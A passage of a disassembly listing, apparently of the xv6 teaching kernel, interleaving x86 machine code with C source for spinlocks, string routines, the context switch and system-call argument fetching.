801040c2: 8b 5a 08 mov 0x8(%edx),%ebx
801040c5: e8 16 f5 ff ff call 801035e0 <mycpu>
801040ca: 39 c3 cmp %eax,%ebx
801040cc: 0f 94 c0 sete %al
801040cf: 0f b6 c0 movzbl %al,%eax
}
801040d2: 83 c4 04 add $0x4,%esp
801040d5: 5b pop %ebx
801040d6: 5d pop %ebp
801040d7: c3 ret
801040d8: 90 nop
801040d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801040e0 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
801040e0: 55 push %ebp
801040e1: 89 e5 mov %esp,%ebp
801040e3: 53 push %ebx
801040e4: 83 ec 04 sub $0x4,%esp
801040e7: 9c pushf
801040e8: 5b pop %ebx
asm volatile("cli");
801040e9: fa cli
int eflags;
eflags = readeflags();
cli();
if(mycpu()->ncli == 0)
801040ea: e8 f1 f4 ff ff call 801035e0 <mycpu>
801040ef: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax
801040f5: 85 c0 test %eax,%eax
801040f7: 75 11 jne 8010410a <pushcli+0x2a>
mycpu()->intena = eflags & FL_IF;
801040f9: e8 e2 f4 ff ff call 801035e0 <mycpu>
801040fe: 81 e3 00 02 00 00 and $0x200,%ebx
80104104: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax)
mycpu()->ncli += 1;
8010410a: e8 d1 f4 ff ff call 801035e0 <mycpu>
8010410f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax)
}
80104116: 83 c4 04 add $0x4,%esp
80104119: 5b pop %ebx
8010411a: 5d pop %ebp
8010411b: c3 ret
8010411c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104120 <acquire>:
{
80104120: 55 push %ebp
80104121: 89 e5 mov %esp,%ebp
80104123: 53 push %ebx
80104124: 83 ec 14 sub $0x14,%esp
pushcli(); // disable interrupts to avoid deadlock.
80104127: e8 b4 ff ff ff call 801040e0 <pushcli>
if(holding(lk))
8010412c: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == mycpu();
8010412f: 8b 02 mov (%edx),%eax
80104131: 85 c0 test %eax,%eax
80104133: 75 43 jne 80104178 <acquire+0x58>
asm volatile("lock; xchgl %0, %1" :
80104135: b9 01 00 00 00 mov $0x1,%ecx
8010413a: eb 07 jmp 80104143 <acquire+0x23>
8010413c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104140: 8b 55 08 mov 0x8(%ebp),%edx
80104143: 89 c8 mov %ecx,%eax
80104145: f0 87 02 lock xchg %eax,(%edx)
while(xchg(&lk->locked, 1) != 0)
80104148: 85 c0 test %eax,%eax
8010414a: 75 f4 jne 80104140 <acquire+0x20>
__sync_synchronize();
8010414c: 0f ae f0 mfence
lk->cpu = mycpu();
8010414f: 8b 5d 08 mov 0x8(%ebp),%ebx
80104152: e8 89 f4 ff ff call 801035e0 <mycpu>
80104157: 89 43 08 mov %eax,0x8(%ebx)
getcallerpcs(&lk, lk->pcs);
8010415a: 8b 45 08 mov 0x8(%ebp),%eax
8010415d: 83 c0 0c add $0xc,%eax
80104160: 89 44 24 04 mov %eax,0x4(%esp)
80104164: 8d 45 08 lea 0x8(%ebp),%eax
80104167: 89 04 24 mov %eax,(%esp)
8010416a: e8 e1 fe ff ff call 80104050 <getcallerpcs>
}
8010416f: 83 c4 14 add $0x14,%esp
80104172: 5b pop %ebx
80104173: 5d pop %ebp
80104174: c3 ret
80104175: 8d 76 00 lea 0x0(%esi),%esi
return lock->locked && lock->cpu == mycpu();
80104178: 8b 5a 08 mov 0x8(%edx),%ebx
8010417b: e8 60 f4 ff ff call 801035e0 <mycpu>
if(holding(lk))
80104180: 39 c3 cmp %eax,%ebx
80104182: 74 05 je 80104189 <acquire+0x69>
80104184: 8b 55 08 mov 0x8(%ebp),%edx
80104187: eb ac jmp 80104135 <acquire+0x15>
panic("acquire");
80104189: c7 04 24 83 74 10 80 movl $0x80107483,(%esp)
80104190: e8 cb c1 ff ff call 80100360 <panic>
80104195: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801041a0 <popcli>:
void
popcli(void)
{
801041a0: 55 push %ebp
801041a1: 89 e5 mov %esp,%ebp
801041a3: 83 ec 18 sub $0x18,%esp
asm volatile("pushfl; popl %0" : "=r" (eflags));
801041a6: 9c pushf
801041a7: 58 pop %eax
if(readeflags()&FL_IF)
801041a8: f6 c4 02 test $0x2,%ah
801041ab: 75 49 jne 801041f6 <popcli+0x56>
panic("popcli - interruptible");
if(--mycpu()->ncli < 0)
801041ad: e8 2e f4 ff ff call 801035e0 <mycpu>
801041b2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx
801041b8: 8d 51 ff lea -0x1(%ecx),%edx
801041bb: 85 d2 test %edx,%edx
801041bd: 89 90 a4 00 00 00 mov %edx,0xa4(%eax)
801041c3: 78 25 js 801041ea <popcli+0x4a>
panic("popcli");
if(mycpu()->ncli == 0 && mycpu()->intena)
801041c5: e8 16 f4 ff ff call 801035e0 <mycpu>
801041ca: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx
801041d0: 85 d2 test %edx,%edx
801041d2: 74 04 je 801041d8 <popcli+0x38>
sti();
}
801041d4: c9 leave
801041d5: c3 ret
801041d6: 66 90 xchg %ax,%ax
if(mycpu()->ncli == 0 && mycpu()->intena)
801041d8: e8 03 f4 ff ff call 801035e0 <mycpu>
801041dd: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
801041e3: 85 c0 test %eax,%eax
801041e5: 74 ed je 801041d4 <popcli+0x34>
asm volatile("sti");
801041e7: fb sti
}
801041e8: c9 leave
801041e9: c3 ret
panic("popcli");
801041ea: c7 04 24 a2 74 10 80 movl $0x801074a2,(%esp)
801041f1: e8 6a c1 ff ff call 80100360 <panic>
panic("popcli - interruptible");
801041f6: c7 04 24 8b 74 10 80 movl $0x8010748b,(%esp)
801041fd: e8 5e c1 ff ff call 80100360 <panic>
80104202: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104210 <release>:
{
80104210: 55 push %ebp
80104211: 89 e5 mov %esp,%ebp
80104213: 56 push %esi
80104214: 53 push %ebx
80104215: 83 ec 10 sub $0x10,%esp
80104218: 8b 5d 08 mov 0x8(%ebp),%ebx
return lock->locked && lock->cpu == mycpu();
8010421b: 8b 03 mov (%ebx),%eax
8010421d: 85 c0 test %eax,%eax
8010421f: 75 0f jne 80104230 <release+0x20>
panic("release");
80104221: c7 04 24 a9 74 10 80 movl $0x801074a9,(%esp)
80104228: e8 33 c1 ff ff call 80100360 <panic>
8010422d: 8d 76 00 lea 0x0(%esi),%esi
return lock->locked && lock->cpu == mycpu();
80104230: 8b 73 08 mov 0x8(%ebx),%esi
80104233: e8 a8 f3 ff ff call 801035e0 <mycpu>
if(!holding(lk))
80104238: 39 c6 cmp %eax,%esi
8010423a: 75 e5 jne 80104221 <release+0x11>
lk->pcs[0] = 0;
8010423c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
80104243: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
__sync_synchronize();
8010424a: 0f ae f0 mfence
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
8010424d: c7 03 00 00 00 00 movl $0x0,(%ebx)
}
80104253: 83 c4 10 add $0x10,%esp
80104256: 5b pop %ebx
80104257: 5e pop %esi
80104258: 5d pop %ebp
popcli();
80104259: e9 42 ff ff ff jmp 801041a0 <popcli>
8010425e: 66 90 xchg %ax,%ax
80104260 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80104260: 55 push %ebp
80104261: 89 e5 mov %esp,%ebp
80104263: 8b 55 08 mov 0x8(%ebp),%edx
80104266: 57 push %edi
80104267: 8b 4d 10 mov 0x10(%ebp),%ecx
8010426a: 53 push %ebx
if ((int)dst%4 == 0 && n%4 == 0){
8010426b: f6 c2 03 test $0x3,%dl
8010426e: 75 05 jne 80104275 <memset+0x15>
80104270: f6 c1 03 test $0x3,%cl
80104273: 74 13 je 80104288 <memset+0x28>
asm volatile("cld; rep stosb" :
80104275: 89 d7 mov %edx,%edi
80104277: 8b 45 0c mov 0xc(%ebp),%eax
8010427a: fc cld
8010427b: f3 aa rep stos %al,%es:(%edi)
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
8010427d: 5b pop %ebx
8010427e: 89 d0 mov %edx,%eax
80104280: 5f pop %edi
80104281: 5d pop %ebp
80104282: c3 ret
80104283: 90 nop
80104284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c &= 0xFF;
80104288: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
8010428c: c1 e9 02 shr $0x2,%ecx
8010428f: 89 f8 mov %edi,%eax
80104291: 89 fb mov %edi,%ebx
80104293: c1 e0 18 shl $0x18,%eax
80104296: c1 e3 10 shl $0x10,%ebx
80104299: 09 d8 or %ebx,%eax
8010429b: 09 f8 or %edi,%eax
8010429d: c1 e7 08 shl $0x8,%edi
801042a0: 09 f8 or %edi,%eax
asm volatile("cld; rep stosl" :
801042a2: 89 d7 mov %edx,%edi
801042a4: fc cld
801042a5: f3 ab rep stos %eax,%es:(%edi)
}
801042a7: 5b pop %ebx
801042a8: 89 d0 mov %edx,%eax
801042aa: 5f pop %edi
801042ab: 5d pop %ebp
801042ac: c3 ret
801042ad: 8d 76 00 lea 0x0(%esi),%esi
801042b0 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801042b0: 55 push %ebp
801042b1: 89 e5 mov %esp,%ebp
801042b3: 8b 45 10 mov 0x10(%ebp),%eax
801042b6: 57 push %edi
801042b7: 56 push %esi
801042b8: 8b 75 0c mov 0xc(%ebp),%esi
801042bb: 53 push %ebx
801042bc: 8b 5d 08 mov 0x8(%ebp),%ebx
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801042bf: 85 c0 test %eax,%eax
801042c1: 8d 78 ff lea -0x1(%eax),%edi
801042c4: 74 26 je 801042ec <memcmp+0x3c>
if(*s1 != *s2)
801042c6: 0f b6 03 movzbl (%ebx),%eax
801042c9: 31 d2 xor %edx,%edx
801042cb: 0f b6 0e movzbl (%esi),%ecx
801042ce: 38 c8 cmp %cl,%al
801042d0: 74 16 je 801042e8 <memcmp+0x38>
801042d2: eb 24 jmp 801042f8 <memcmp+0x48>
801042d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801042d8: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax
801042dd: 83 c2 01 add $0x1,%edx
801042e0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
801042e4: 38 c8 cmp %cl,%al
801042e6: 75 10 jne 801042f8 <memcmp+0x48>
while(n-- > 0){
801042e8: 39 fa cmp %edi,%edx
801042ea: 75 ec jne 801042d8 <memcmp+0x28>
return *s1 - *s2;
s1++, s2++;
}
return 0;
}
801042ec: 5b pop %ebx
return 0;
801042ed: 31 c0 xor %eax,%eax
}
801042ef: 5e pop %esi
801042f0: 5f pop %edi
801042f1: 5d pop %ebp
801042f2: c3 ret
801042f3: 90 nop
801042f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801042f8: 5b pop %ebx
return *s1 - *s2;
801042f9: 29 c8 sub %ecx,%eax
}
801042fb: 5e pop %esi
801042fc: 5f pop %edi
801042fd: 5d pop %ebp
801042fe: c3 ret
801042ff: 90 nop
80104300 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80104300: 55 push %ebp
80104301: 89 e5 mov %esp,%ebp
80104303: 57 push %edi
80104304: 8b 45 08 mov 0x8(%ebp),%eax
80104307: 56 push %esi
80104308: 8b 75 0c mov 0xc(%ebp),%esi
8010430b: 53 push %ebx
8010430c: 8b 5d 10 mov 0x10(%ebp),%ebx
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
8010430f: 39 c6 cmp %eax,%esi
80104311: 73 35 jae 80104348 <memmove+0x48>
80104313: 8d 0c 1e lea (%esi,%ebx,1),%ecx
80104316: 39 c8 cmp %ecx,%eax
80104318: 73 2e jae 80104348 <memmove+0x48>
s += n;
d += n;
while(n-- > 0)
8010431a: 85 db test %ebx,%ebx
d += n;
8010431c: 8d 3c 18 lea (%eax,%ebx,1),%edi
while(n-- > 0)
8010431f: 8d 53 ff lea -0x1(%ebx),%edx
80104322: 74 1b je 8010433f <memmove+0x3f>
80104324: f7 db neg %ebx
80104326: 8d 34 19 lea (%ecx,%ebx,1),%esi
80104329: 01 fb add %edi,%ebx
8010432b: 90 nop
8010432c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*--d = *--s;
80104330: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104334: 88 0c 13 mov %cl,(%ebx,%edx,1)
while(n-- > 0)
80104337: 83 ea 01 sub $0x1,%edx
8010433a: 83 fa ff cmp $0xffffffff,%edx
8010433d: 75 f1 jne 80104330 <memmove+0x30>
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
8010433f: 5b pop %ebx
80104340: 5e pop %esi
80104341: 5f pop %edi
80104342: 5d pop %ebp
80104343: c3 ret
80104344: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(n-- > 0)
80104348: 31 d2 xor %edx,%edx
8010434a: 85 db test %ebx,%ebx
8010434c: 74 f1 je 8010433f <memmove+0x3f>
8010434e: 66 90 xchg %ax,%ax
*d++ = *s++;
80104350: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104354: 88 0c 10 mov %cl,(%eax,%edx,1)
80104357: 83 c2 01 add $0x1,%edx
while(n-- > 0)
8010435a: 39 da cmp %ebx,%edx
8010435c: 75 f2 jne 80104350 <memmove+0x50>
}
8010435e: 5b pop %ebx
8010435f: 5e pop %esi
80104360: 5f pop %edi
80104361: 5d pop %ebp
80104362: c3 ret
80104363: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104370 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
80104370: 55 push %ebp
80104371: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104373: 5d pop %ebp
return memmove(dst, src, n);
80104374: eb 8a jmp 80104300 <memmove>
80104376: 8d 76 00 lea 0x0(%esi),%esi
80104379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104380 <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
80104380: 55 push %ebp
80104381: 89 e5 mov %esp,%ebp
80104383: 56 push %esi
80104384: 8b 75 10 mov 0x10(%ebp),%esi
80104387: 53 push %ebx
80104388: 8b 4d 08 mov 0x8(%ebp),%ecx
8010438b: 8b 5d 0c mov 0xc(%ebp),%ebx
while(n > 0 && *p && *p == *q)
8010438e: 85 f6 test %esi,%esi
80104390: 74 30 je 801043c2 <strncmp+0x42>
80104392: 0f b6 01 movzbl (%ecx),%eax
80104395: 84 c0 test %al,%al
80104397: 74 2f je 801043c8 <strncmp+0x48>
80104399: 0f b6 13 movzbl (%ebx),%edx
8010439c: 38 d0 cmp %dl,%al
8010439e: 75 46 jne 801043e6 <strncmp+0x66>
801043a0: 8d 51 01 lea 0x1(%ecx),%edx
801043a3: 01 ce add %ecx,%esi
801043a5: eb 14 jmp 801043bb <strncmp+0x3b>
801043a7: 90 nop
801043a8: 0f b6 02 movzbl (%edx),%eax
801043ab: 84 c0 test %al,%al
801043ad: 74 31 je 801043e0 <strncmp+0x60>
801043af: 0f b6 19 movzbl (%ecx),%ebx
801043b2: 83 c2 01 add $0x1,%edx
801043b5: 38 d8 cmp %bl,%al
801043b7: 75 17 jne 801043d0 <strncmp+0x50>
n--, p++, q++;
801043b9: 89 cb mov %ecx,%ebx
while(n > 0 && *p && *p == *q)
801043bb: 39 f2 cmp %esi,%edx
n--, p++, q++;
801043bd: 8d 4b 01 lea 0x1(%ebx),%ecx
while(n > 0 && *p && *p == *q)
801043c0: 75 e6 jne 801043a8 <strncmp+0x28>
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
}
801043c2: 5b pop %ebx
return 0;
801043c3: 31 c0 xor %eax,%eax
}
801043c5: 5e pop %esi
801043c6: 5d pop %ebp
801043c7: c3 ret
801043c8: 0f b6 1b movzbl (%ebx),%ebx
while(n > 0 && *p && *p == *q)
801043cb: 31 c0 xor %eax,%eax
801043cd: 8d 76 00 lea 0x0(%esi),%esi
return (uchar)*p - (uchar)*q;
801043d0: 0f b6 d3 movzbl %bl,%edx
801043d3: 29 d0 sub %edx,%eax
}
801043d5: 5b pop %ebx
801043d6: 5e pop %esi
801043d7: 5d pop %ebp
801043d8: c3 ret
801043d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801043e0: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx
801043e4: eb ea jmp 801043d0 <strncmp+0x50>
while(n > 0 && *p && *p == *q)
801043e6: 89 d3 mov %edx,%ebx
801043e8: eb e6 jmp 801043d0 <strncmp+0x50>
801043ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801043f0 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
801043f0: 55 push %ebp
801043f1: 89 e5 mov %esp,%ebp
801043f3: 8b 45 08 mov 0x8(%ebp),%eax
801043f6: 56 push %esi
801043f7: 8b 4d 10 mov 0x10(%ebp),%ecx
801043fa: 53 push %ebx
801043fb: 8b 5d 0c mov 0xc(%ebp),%ebx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
801043fe: 89 c2 mov %eax,%edx
80104400: eb 19 jmp 8010441b <strncpy+0x2b>
80104402: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104408: 83 c3 01 add $0x1,%ebx
8010440b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
8010440f: 83 c2 01 add $0x1,%edx
80104412: 84 c9 test %cl,%cl
80104414: 88 4a ff mov %cl,-0x1(%edx)
80104417: 74 09 je 80104422 <strncpy+0x32>
80104419: 89 f1 mov %esi,%ecx
8010441b: 85 c9 test %ecx,%ecx
8010441d: 8d 71 ff lea -0x1(%ecx),%esi
80104420: 7f e6 jg 80104408 <strncpy+0x18>
;
while(n-- > 0)
80104422: 31 c9 xor %ecx,%ecx
80104424: 85 f6 test %esi,%esi
80104426: 7e 0f jle 80104437 <strncpy+0x47>
*s++ = 0;
80104428: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
8010442c: 89 f3 mov %esi,%ebx
8010442e: 83 c1 01 add $0x1,%ecx
80104431: 29 cb sub %ecx,%ebx
while(n-- > 0)
80104433: 85 db test %ebx,%ebx
80104435: 7f f1 jg 80104428 <strncpy+0x38>
return os;
}
80104437: 5b pop %ebx
80104438: 5e pop %esi
80104439: 5d pop %ebp
8010443a: c3 ret
8010443b: 90 nop
8010443c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104440 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80104440: 55 push %ebp
80104441: 89 e5 mov %esp,%ebp
80104443: 8b 4d 10 mov 0x10(%ebp),%ecx
80104446: 56 push %esi
80104447: 8b 45 08 mov 0x8(%ebp),%eax
8010444a: 53 push %ebx
8010444b: 8b 55 0c mov 0xc(%ebp),%edx
char *os;
os = s;
if(n <= 0)
8010444e: 85 c9 test %ecx,%ecx
80104450: 7e 26 jle 80104478 <safestrcpy+0x38>
80104452: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104456: 89 c1 mov %eax,%ecx
80104458: eb 17 jmp 80104471 <safestrcpy+0x31>
8010445a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104460: 83 c2 01 add $0x1,%edx
80104463: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104467: 83 c1 01 add $0x1,%ecx
8010446a: 84 db test %bl,%bl
8010446c: 88 59 ff mov %bl,-0x1(%ecx)
8010446f: 74 04 je 80104475 <safestrcpy+0x35>
80104471: 39 f2 cmp %esi,%edx
80104473: 75 eb jne 80104460 <safestrcpy+0x20>
;
*s = 0;
80104475: c6 01 00 movb $0x0,(%ecx)
return os;
}
80104478: 5b pop %ebx
80104479: 5e pop %esi
8010447a: 5d pop %ebp
8010447b: c3 ret
8010447c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104480 <strlen>:
int
strlen(const char *s)
{
80104480: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
80104481: 31 c0 xor %eax,%eax
{
80104483: 89 e5 mov %esp,%ebp
80104485: 8b 55 08 mov 0x8(%ebp),%edx
for(n = 0; s[n]; n++)
80104488: 80 3a 00 cmpb $0x0,(%edx)
8010448b: 74 0c je 80104499 <strlen+0x19>
8010448d: 8d 76 00 lea 0x0(%esi),%esi
80104490: 83 c0 01 add $0x1,%eax
80104493: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
80104497: 75 f7 jne 80104490 <strlen+0x10>
;
return n;
}
80104499: 5d pop %ebp
8010449a: c3 ret
8010449b <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
8010449b: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
8010449f: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
801044a3: 55 push %ebp
pushl %ebx
801044a4: 53 push %ebx
pushl %esi
801044a5: 56 push %esi
pushl %edi
801044a6: 57 push %edi
# Switch stacks
movl %esp, (%eax)
801044a7: 89 20 mov %esp,(%eax)
movl %edx, %esp
801044a9: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
801044ab: 5f pop %edi
popl %esi
801044ac: 5e pop %esi
popl %ebx
801044ad: 5b pop %ebx
popl %ebp
801044ae: 5d pop %ebp
ret
801044af: c3 ret
801044b0 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801044b0: 55 push %ebp
801044b1: 89 e5 mov %esp,%ebp
801044b3: 8b 45 08 mov 0x8(%ebp),%eax
if(addr >= KERNBASE || addr+4 > KERNBASE)
801044b6: 3d fc ff ff 7f cmp $0x7ffffffc,%eax
801044bb: 77 0b ja 801044c8 <fetchint+0x18>
return -1;
*ip = *(int*)(addr);
801044bd: 8b 10 mov (%eax),%edx
801044bf: 8b 45 0c mov 0xc(%ebp),%eax
801044c2: 89 10 mov %edx,(%eax)
return 0;
801044c4: 31 c0 xor %eax,%eax
}
801044c6: 5d pop %ebp
801044c7: c3 ret
return -1;
801044c8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801044cd: 5d pop %ebp
801044ce: c3 ret
801044cf: 90 nop
801044d0 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801044d0: 55 push %ebp
801044d1: 89 e5 mov %esp,%ebp
801044d3: 8b 55 08 mov 0x8(%ebp),%edx
char *s, *ep;
if(addr >= KERNBASE)
801044d6: 85 d2 test %edx,%edx
801044d8: 78 25 js 801044ff <fetchstr+0x2f>
return -1;
*pp = (char*)addr;
801044da: 8b 4d 0c mov 0xc(%ebp),%ecx
ep = (char*)KERNBASE-1;
for(s = *pp; s < ep; s++){
801044dd: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx
*pp = (char*)addr;
801044e3: 89 d0 mov %edx,%eax
801044e5: 89 11 mov %edx,(%ecx)
for(s = *pp; s < ep; s++){
801044e7: 77 16 ja 801044ff <fetchstr+0x2f>
if(*s == 0)
801044e9: 80 3a 00 cmpb $0x0,(%edx)
801044ec: 75 07 jne 801044f5 <fetchstr+0x25>
801044ee: eb 18 jmp 80104508 <fetchstr+0x38>
801044f0: 80 38 00 cmpb $0x0,(%eax)
801044f3: 74 13 je 80104508 <fetchstr+0x38>
for(s = *pp; s < ep; s++){
801044f5: 83 c0 01 add $0x1,%eax
801044f8: 3d ff ff ff 7f cmp $0x7fffffff,%eax
801044fd: 75 f1 jne 801044f0 <fetchstr+0x20>
return -1;
801044ff: b8 ff ff ff ff mov $0xffffffff,%eax
return s - *pp;
}
return -1;
}
80104504: 5d pop %ebp
80104505: c3 ret
80104506: 66 90 xchg %ax,%ax
return s - *pp;
80104508: 29 d0 sub %edx,%eax
}
8010450a: 5d pop %ebp
8010450b: c3 ret
8010450c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104510 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104510: 55 push %ebp
80104511: 89 e5 mov %esp,%ebp
80104513: 83 ec 08 sub $0x8,%esp
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104516: e8 65 f1 ff ff call 80103680 <myproc>
8010451b: 8b 55 08 mov 0x8(%ebp),%edx
8010451e: 8b 40 18 mov 0x18(%eax),%eax
80104521: 8b 40 44 mov 0x44(%eax),%eax
80104524: 8d 44 90 04 lea 0x4(%eax,%edx,4),%eax
if(addr >= KERNBASE || addr+4 > KERNBASE)
80104528: 3d fc ff ff 7f cmp $0x7ffffffc,%eax
8010452d: 77 11 ja 80104540 <argint+0x30>
*ip = *(int*)(addr);
8010452f: 8b 10 mov (%eax),%edx
80104531: 8b 45 0c mov 0xc(%ebp),%eax
80104534: 89 10 mov %edx,(%eax)
return 0;
80104536: 31 c0 xor %eax,%eax
}
80104538: c9 leave
80104539: c3 ret
8010453a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80104540: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104545: c9 leave
80104546: c3 ret
80104547: 89 f6 mov %esi,%esi
80104549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104550 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
80104550: 55 push %ebp
80104551: 89 e5 mov %esp,%ebp
80104553: 53 push %ebx
80104554: 83 ec 24 sub $0x24,%esp
80104557: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
if(argint(n, &i) < 0)
8010455a: 8d 45 f4 lea -0xc(%ebp),%eax
8010455d: 89 44 24 04 mov %eax,0x4(%esp)
80104561: 8b 45 08 mov 0x8(%ebp),%eax
80104564: 89 04 24 mov %eax,(%esp)
80104567: e8 a4 ff ff ff call 80104510 <argint>
8010456c: 85 c0 test %eax,%eax
8010456e: 78 28 js 80104598 <argptr+0x48>
return -1;
if(size < 0 || (uint)i >= (KERNBASE) || (uint)i+size > (KERNBASE))
80104570: 85 db test %ebx,%ebx
80104572: 78 24 js 80104598 <argptr+0x48>
80104574: 8b 45 f4 mov -0xc(%ebp),%eax
80104577: 85 c0 test %eax,%eax
80104579: 78 1d js 80104598 <argptr+0x48>
8010457b: 01 c3 add %eax,%ebx
8010457d: 81 fb 00 00 00 80 cmp $0x80000000,%ebx
80104583: 77 13 ja 80104598 <argptr+0x48>
return -1;
*pp = (char*)i;
80104585: 8b 55 0c mov 0xc(%ebp),%edx
80104588: 89 02 mov %eax,(%edx)
return 0;
8010458a: 31 c0 xor %eax,%eax
}
8010458c: 83 c4 24 add $0x24,%esp
8010458f: 5b pop %ebx
80104590: 5d pop %ebp
80104591: c3 ret
80104592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80104598: b8 ff ff ff ff mov $0xffffffff,%eax
8010459d: eb ed jmp 8010458c <argptr+0x3c>
8010459f: 90 nop
801045a0 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
801045a0: 55 push %ebp
801045a1: 89 e5 mov %esp,%ebp
801045a3: 83 ec 28 sub $0x28,%esp
int addr;
if(argint(n, &addr) < 0)
801045a6: 8d 45 f4 lea -0xc(%ebp),%eax
801045a9: 89 44 24 04 mov %eax,0x4(%esp)
801045ad: 8b 45 08 mov 0x8(%ebp),%eax
801045b0: 89 04 24 mov %eax,(%esp)
801045b3: e8 58 ff ff ff call 80104510 <argint>
801045b8: 85 c0 test %eax,%eax
801045ba: 78 33 js 801045ef <argstr+0x4f>
return -1;
return fetchstr(addr, pp);
801045bc: 8b 55 f4 mov -0xc(%ebp),%edx
if(addr >= KERNBASE)
801045bf: 85 d2 test %edx,%edx
801045c1: 78 2c js 801045ef <argstr+0x4f>
*pp = (char*)addr;
801045c3: 8b 4d 0c mov 0xc(%ebp),%ecx
for(s = *pp; s < ep; s++){
801045c6: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx
*pp = (char*)addr;
801045cc: 89 d0 mov %edx,%eax
801045ce: 89 11 mov %edx,(%ecx)
for(s = *pp; s < ep; s++){
801045d0: 77 1d ja 801045ef <argstr+0x4f>
if(*s == 0)
801045d2: 80 3a 00 cmpb $0x0,(%edx)
801045d5: 75 0e jne 801045e5 <argstr+0x45>
801045d7: eb 1f jmp 801045f8 <argstr+0x58>
801045d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801045e0: 80 38 00 cmpb $0x0,(%eax)
